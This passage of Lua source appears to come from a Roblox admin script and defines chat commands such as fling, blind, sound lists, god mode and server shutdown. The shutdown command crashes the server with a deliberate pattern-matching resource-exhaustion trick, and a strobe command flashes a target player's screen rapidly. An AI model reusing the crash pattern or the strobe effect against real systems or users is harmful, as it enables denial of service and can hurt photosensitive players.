  6394.     [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6395.         CommandLogs = {}
  6396.         ChatLogs = {}
  6397.         IRC.Logs = {}
  6398.     end};
  6399.    
  6400.     [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6401.         Server.GDS:SetAsync("ExploitLog", {})
  6402.     end};
  6403.    
  6404.     [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
  6405.         local List,Correlate,SoundName = {},{},{}
  6406.         for Name,Info in pairs(SoundList) do
  6407.             local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
  6408.             table.insert(List, View)
  6409.             Correlate[View] = Info[1]
  6410.         end
  6411.        
  6412.         local CanClick = true
  6413.         if Rank == "Member" then CanClick = false end
  6414.         local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
  6415.         Clicked.Event:connect(function(ClickName)
  6416.             local OldSoundId = nil
  6417.             SOUND:StopGlobalSound()
  6418.             if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
  6419.                 SOUND:PlayGlobalSound(Correlate[ClickName])
  6420.             end
  6421.         end)
  6422.     end};
  6423.    
  6424.     [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6425.         SOUND:SyncSoundList(Speaker)
  6426.     end};
  6427.    
  6428.     [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6429.         local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
  6430.         if Answer == "Yes" then
  6431.             Server.Workspace.Terrain:Clear()
  6432.         end
  6433.     end};
  6434.    
  6435.     [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6436.         local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
  6437.         if Answer == "Yes" then
  6438.             for _,Obj in pairs(Workspace:GetChildren()) do
  6439.                 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
  6440.                     Obj:Destroy()
  6441.                 end
  6442.             end
  6443.         end
  6444.     end};
  6445.    
  6446.     [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6447.         CORE:MakeBase()
  6448.     end};
  6449.    
  6450.     [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
  6451.         local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6452.         if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6453.             CustomSounds = {}
  6454.         end
  6455.         if tostring(Arguments[1]) then
  6456.             local Request = MARKET:GetItemInfo(Arguments[1])
  6457.             if Request.AssetTypeId == 3 then
  6458.                 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
  6459.                 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
  6460.                 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6461.                 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
  6462.             else
  6463.                 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
  6464.             end
  6465.         end
  6466.     end};
  6467.    
  6468.     [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6469.         local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
  6470.         if CustomSounds == nil or type(CustomSounds) ~= "table" then
  6471.             CustomSounds = {}
  6472.         end
  6473.        
  6474.         local Removed = {}
  6475.         for Num,Data in pairs(CustomSounds) do
  6476.             if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
  6477.                 table.insert(Removed, Data[1])
  6478.                 table.remove(CustomSounds, Num)
  6479.             end
  6480.         end
  6481.  
  6482.         Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
  6483.        
  6484.         SOUND:SyncSoundList()
  6485.        
  6486.         if #Removed > 0 then
  6487.             GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
  6488.         else
  6489.             GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
  6490.         end
  6491.     end};
  6492.    
  6493.     [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6494.         local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
  6495.         if Answer == "Yes" then
  6496.             Server.GDS:SetAsync("MML Custom Sounds", {})
  6497.             SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
  6498.             GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
  6499.         end
  6500.     end};
  6501.    
  6502.     [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6503.         local Players = STRING:Scan(Arguments[1], Speaker)
  6504.         local SpeakerTesting = false
  6505.         for _,Player in pairs(Players) do
  6506.             if Player == Speaker then SpeakerTesting = true end
  6507.             if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
  6508.                 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
  6509.                 --wait(10)
  6510.                 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
  6511.             end)() end
  6512.         end
  6513.         if SpeakerTesting == false then
  6514.             GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
  6515.         end
  6516.     end};
  6517.    
  6518.     [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  6519.         local Players = STRING:Scan(Arguments[1], Speaker)
  6520.         local Compile = {}
  6521.         for _,Player in pairs(Players) do
  6522.             local PlayerInfo = ClientInfo[Player.Name]
  6523.             if PlayerInfo then
  6524.                 if PlayerInfo.Benchmark then
  6525.                     table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
  6526.                 else
  6527.                     table.insert(Compile, Player.Name..": No score")
  6528.                 end
  6529.             end
  6530.         end
  6531.         GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
  6532.     end};
  6533.    
  6534.     [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
  6535.         local Players = STRING:Scan(Arguments[1], Speaker)
  6536.         for _,Player in pairs(Players) do
  6537.             CORE:Chatted(Arguments[2], Player, true)
  6538.         end
  6539.     end};
  6540.    
  6541.     [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
  6542.         CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
  6543.     end};
  6544.    
  6545.     [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
  6546.         local Players = STRING:Scan(Arguments[1], Speaker)
  6547.         for _,Player in pairs(Players) do
  6548.             if Player.Character ~= nil then
  6549.                 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  6550.                     if Player.Character.Torso:FindFirstChild("Neck") then
  6551.                         Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6552.                         local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6553.                         Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
  6554.                         local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  6555.                         local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  6556.                     end
  6557.                 end
  6558.             end
  6559.         end
  6560.     end};
  6561.    
  6562.     [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
  6563.         local Players = STRING:Scan(Arguments[1], Speaker)
  6564.         for _,Player in pairs(Players) do
  6565.             if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
  6566.                 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  6567.                 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  6568.             end
  6569.         end
  6570.     end};
  6571.    
  6572.     [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
  6573.         local Players = STRING:Scan(Arguments[1], Speaker)
  6574.         for _,Player in pairs(Players) do
  6575.             local _,RankNum = RANK:GetRank(Player)
  6576.             if RankNum <= RANK:ConvertRank(Rank) then
  6577.                 CORE:FlingPlayer(Player)
  6578.             end
  6579.         end
  6580.     end};
  6581.    
  6582.     [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
  6583.         local Players = STRING:Scan(Arguments[1], Speaker)
  6584.         for _,Player in pairs(Players) do
  6585.             local _,RankNum = RANK:GetRank(Player)
  6586.             if RankNum <= RANK:ConvertRank(Rank) then
  6587.                 Flings[Player.Name] = true
  6588.                 CORE:FlingPlayer(Player)
  6589.             end
  6590.         end
  6591.     end};
  6592.    
  6593.     [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6594.         local Players = STRING:Scan(Arguments[1], Speaker)
  6595.         for _,Player in pairs(Players) do
  6596.             local _,RankNum = RANK:GetRank(Player)
  6597.             if RankNum <= RANK:ConvertRank(Rank) then
  6598.                 Flings[Player.Name] = nil
  6599.             end
  6600.         end
  6601.     end};
  6602.    
  6603.     [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6604.         local Players = STRING:Scan(Arguments[1], Speaker)
  6605.         for _,Player in pairs(Players) do
  6606.             CORE:Nuke(Player)
  6607.         end
  6608.     end};
  6609.    
  6610.     [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6611.         local Players = STRING:Scan(Arguments[1], Speaker)
  6612.         for _,Player in pairs(Players) do
  6613.             Beeps[Player.Name] = true
  6614.             SOUND:BeepPlayer(Player)
  6615.         end
  6616.     end};
  6617.    
  6618.     [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6619.         local Players = STRING:Scan(Arguments[1], Speaker)
  6620.         for _,Player in pairs(Players) do
  6621.             if Player.PlayerGui then
  6622.                 Beeps[Player.Name] = nil
  6623.                 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
  6624.                     if Obj.Name == "Annoy" then
  6625.                         Obj:Stop()
  6626.                         Obj:Destroy()
  6627.                     end
  6628.                 end
  6629.             end
  6630.         end
  6631.     end};
  6632.    
  6633.     [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6634.         local Time = Arguments[1]
  6635.         if Time == "day" or Time == "noon" then Time = "12" end
  6636.         if Time == "night" or Time == "midnight" then Time = "0" end
  6637.         if Time == "dawn" or Time == "morning" then Time = "6:15" end
  6638.         if Time == "dusk" or Time == "evening" then Time = "17:45" end
  6639.         if Time == "afternoon" then Time = "15:30" end
  6640.         ypcall(function() Server.Lighting.TimeOfDay = Time end)
  6641.     end};
  6642.    
  6643.     [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
  6644.         local Players = STRING:Scan(Arguments[1], Speaker)
  6645.         for _,Player in pairs(Players) do
  6646.             MARKET:PromptPurchase(Player, Arguments[2], Speaker)
  6647.         end
  6648.     end};
  6649.    
  6650.     [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6651.         local AbuseMode = false
  6652.         if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  6653.         local Players = STRING:Scan(Arguments[1], Speaker)
  6654.         for _,Player in pairs(Players) do
  6655.             CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  6656.         end
  6657.     end};
  6658.    
  6659.     [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
  6660.         local Players = STRING:Scan(Arguments[1], Speaker)
  6661.         for _,Player in pairs(Players) do
  6662.             CORE:Insert(125013769, Player.Backpack, true)
  6663.         end
  6664.     end};
  6665.    
  6666.     [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6667.         local Players = STRING:Scan(Arguments[1], Speaker)
  6668.         for _,Player in pairs(Players) do
  6669.             if Player.Character then
  6670.                 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
  6671.             end
  6672.         end
  6673.     end};
  6674.    
  6675.     [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
  6676.         CORE:ResetLighting()
  6677.         repeat
  6678.             Server.Lighting.Ambient = Color3.new(1,1,1)
  6679.             Server.Lighting.FogColor = Color3.new(1,1,1)
  6680.             Server.Lighting.Brightness = 1
  6681.             Server.Lighting.TimeOfDay = 14
  6682.             wait(0.1)
  6683.             Server.Lighting.Ambient = Color3.new(0,0,0)
  6684.             Server.Lighting.FogColor = Color3.new(0,0,0)
  6685.             Server.Lighting.Brightness = 0
  6686.             Server.Lighting.TimeOfDay = 0
  6687.             wait(0.1)
  6688.         until ModLighting == false
  6689.     end};
  6690.    
  6691.     [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
  6692.         CORE:ResetLighting()
  6693.         repeat
  6694.             local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  6695.             Server.Lighting.Ambient = Color
  6696.             Server.Lighting.FogColor = Color
  6697.             Server.Lighting.TimeOfDay = 0
  6698.             Server.Lighting.FogEnd = 500
  6699.             wait(0.1)
  6700.         until ModLighting == false
  6701.     end};
  6702.    
  6703.     [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
  6704.         CORE:FixLighting()
  6705.     end};
  6706.    
  6707.     [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
  6708.         local Players = STRING:Scan(Arguments[1], Speaker)
  6709.         for _,Player in pairs(Players) do
  6710.             if Player:FindFirstChild("PlayerGui") then
  6711.                 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6712.                 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6713.                 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  6714.                 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  6715.             end
  6716.         end
  6717.     end};
  6718.    
  6719.     [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
  6720.         local Players = STRING:Scan(Arguments[1], Speaker)
  6721.         for _,Player in pairs(Players) do
  6722.             if Player:FindFirstChild("PlayerGui") then
  6723.                 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6724.             end
  6725.         end
  6726.     end};
  6727.    
  6728.     [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
  6729.         local Players = STRING:Scan(Arguments[1], Speaker)
  6730.         for _,Player in pairs(Players) do
  6731.             if Player:FindFirstChild("PlayerGui") then
  6732.                 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6733.                 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6734.                 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
  6735.             end
  6736.         end
  6737.     end};
  6738.    
  6739.     [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6740.         local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
  6741.         if Suc then
  6742.             Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  6743.         else
  6744.             Server.TS:Teleport(game.PlaceId, Speaker)
  6745.         end
  6746.     end};
  6747.    
  6748.     [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6749.         GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
  6750.     end};
  6751.    
  6752.     [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6753.         local NewAbuse = Arguments[1]
  6754.         if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6755.             NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6756.         end
  6757.        
  6758.         local Match = false
  6759.         for _,AbuseCmd in pairs(Settings.AbuseList) do
  6760.             if string.lower(AbuseCmd) == string.lower(NewAbuse) then
  6761.                 Match = true
  6762.                 break
  6763.             end
  6764.         end
  6765.         if not Match then
  6766.             table.insert(Settings.AbuseList, NewAbuse)
  6767.             GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
  6768.         else
  6769.             GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
  6770.         end
  6771.         CORE:SetAbuseCommands()
  6772.     end};
  6773.    
  6774.     [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6775.         local NewAbuse = Arguments[1]
  6776.         if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6777.             NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6778.         end
  6779.        
  6780.         local Removed = false
  6781.         for Num,AbuseCmd in pairs(Settings.AbuseList) do
  6782.             if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
  6783.                 Removed = true
  6784.                 table.remove(Settings.AbuseList, Num)
  6785.             end
  6786.         end
  6787.         if Removed then
  6788.             GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
  6789.         else
  6790.             GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
  6791.         end
  6792.         CORE:SetAbuseCommands()
  6793.     end};
  6794.    
  6795.     [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
  6796.         local Players = STRING:Scan(Arguments[1], Speaker)
  6797.         for _,Player in pairs(Players) do
  6798.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6799.                 Player.Character.Humanoid.MaxHealth = math.huge
  6800.                 Player.Character.Humanoid.Health = math.huge
  6801.             end
  6802.         end
  6803.     end};
  6804.    
  6805.     [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6806.         local Players = STRING:Scan(Arguments[1], Speaker)
  6807.         for _,Player in pairs(Players) do
  6808.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6809.                 if Player.Character.Humanoid.MaxHealth == math.huge then
  6810.                     Player.Character.Humanoid.MaxHealth = 100
  6811.                     Player.Character.Humanoid.Health = 100
  6812.                 else
  6813.                     Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
  6814.                 end
  6815.             end
  6816.         end
  6817.     end};
  6818.    
  6819.     [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
  6820.         local Players = STRING:Scan(Arguments[1], Speaker)
  6821.         for _,Player in pairs(Players) do
  6822.             if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6823.                 local Char = Player.Character
  6824.                 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
  6825.             end
  6826.         end
  6827.     end};
  6828.    
  6829.     [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6830.         if tonumber(Arguments[2]) then
  6831.             local Players = STRING:Scan(Arguments[1], Speaker)
  6832.             for _,Player in pairs(Players) do
  6833.                 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6834.                     Player.Character.Humanoid.Health = Arguments[2]
  6835.                 end
  6836.             end
  6837.         end
  6838.     end};
  6839.    
  6840.     [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6841.         if tonumber(Arguments[2]) then
  6842.             local Players = STRING:Scan(Arguments[1], Speaker)
  6843.             for _,Player in pairs(Players) do
  6844.                 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6845.                     local Speed = tonumber(Arguments[2])
  6846.                     if Speed then
  6847.                         if Rank == "Member" then
  6848.                             if Speed > 1000 then Speed = 1000
  6849.                             elseif Speed < -1000 then Speed = -1000 end
  6850.                         end
  6851.                         Player.Character.Humanoid.WalkSpeed = Speed
  6852.                     end
  6853.                 end
  6854.             end
  6855.         end
  6856.     end};
  6857.    
  6858.     [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
  6859.         if tonumber(Arguments[2]) then
  6860.             local Players = STRING:Scan(Arguments[1], Speaker)
  6861.             for _,Player in pairs(Players) do
  6862.                 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6863.                     Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
  6864.                 end
  6865.             end
  6866.         end
  6867.     end};
  6868.    
  6869.     [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
  6870.         local Players = STRING:Scan(Arguments[1], Speaker)
  6871.         for _,Player in pairs(Players) do
  6872.             CORE:Fly(Player, 10000)
  6873.         end
  6874.     end};
  6875.    
  6876.     [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
  6877.         local Players = STRING:Scan(Arguments[1], Speaker)
  6878.         for _,Player in pairs(Players) do
  6879.             CORE:Fly(Player, 1000000)
  6880.         end
  6881.     end};
  6882.    
  6883.     [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  6884.         local Players = STRING:Scan(Arguments[1], Speaker)
  6885.         for _,Player in pairs(Players) do
  6886.             if Player.Character then
  6887.                 if Player.Character:FindFirstChild("StopMMLFly") then
  6888.                     Player.Character.StopMMLFly:InvokeClient(Player)
  6889.                 end
  6890.             end
  6891.         end
  6892.     end};
  6893.    
  6894.     [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6895.         ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
  6896.         GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
  6897.     end};
  6898.    
  6899.     [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6900.         local Players = STRING:Scan(Arguments[1], Speaker)
  6901.         for _,Player in pairs(Players) do
  6902.             CORE:GiveTools(Player, Arguments[2])
  6903.         end
  6904.     end};
  6905.    
  6906.     [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
  6907.         local List = {}
  6908.         for _,Region in pairs(ToolRegions) do
  6909.             CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  6910.                 table.insert(List, Item.Name.."  |  Found at: "..Item:GetFullName())
  6911.             end)
  6912.         end
  6913.        
  6914.         GUI:ListGui(Speaker, "Tool list", List, 73589272)
  6915.     end};
  6916.    
  6917.     [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
  6918.         local Players = STRING:Scan(Arguments[1], Speaker)
  6919.         for _,Player in pairs(Players) do
  6920.             CORE:GiveTools(Player, "btools")
  6921.         end
  6922.     end};
  6923.    
  6924.     [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6925.         REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
  6926.         for _,Player in pairs(Server.Players:GetPlayers()) do
  6927.             Player:Kick()
  6928.         end
  6929.         Server.Workspace:ClearAllChildren()
  6930.         string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
  6931.     end};
  6932.    
  6933.     [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6934.         local Players = STRING:Scan(Arguments[1], Speaker)
  6935.         for _,Player in pairs(Players) do
  6936.             CORE:Scale(Player, Arguments[2])
  6937.         end
  6938.     end};
  6939.    
  6940.     [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
  6941.         local Players = STRING:Scan(Arguments[1], Speaker)
  6942.         for _,Player in pairs(Players) do
  6943.             CORE:Scale(Player, 50)
  6944.         end
  6945.     end};
  6946.    
  6947.     [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
  6948.         local Players = STRING:Scan(Arguments[1], Speaker)
  6949.         for _,Player in pairs(Players) do
  6950.             CORE:Scale(Player, 70)
  6951.         end
  6952.     end, Hidden = true};
  6953.    
  6954.     [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
  6955.         local Players = STRING:Scan(Arguments[1], Speaker)
  6956.         for _,Player in pairs(Players) do
  6957.             CORE:Scale(Player, 500)
  6958.         end
  6959.     end};
  6960.    
  6961.     [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
  6962.         local Players = STRING:Scan(Arguments[1], Speaker)
  6963.         for _,Player in pairs(Players) do
  6964.             if Player.Character then
  6965.                 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  6966.                     Obj.Reflectance = 0.5
  6967.                     Obj.BrickColor = BrickColor.new("New Yeller")
  6968.                 end)
  6969.             end
  6970.         end
  6971.     end};
  6972.    
  6973.     [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
  6974.         local Players = STRING:Scan(Arguments[1], Speaker)
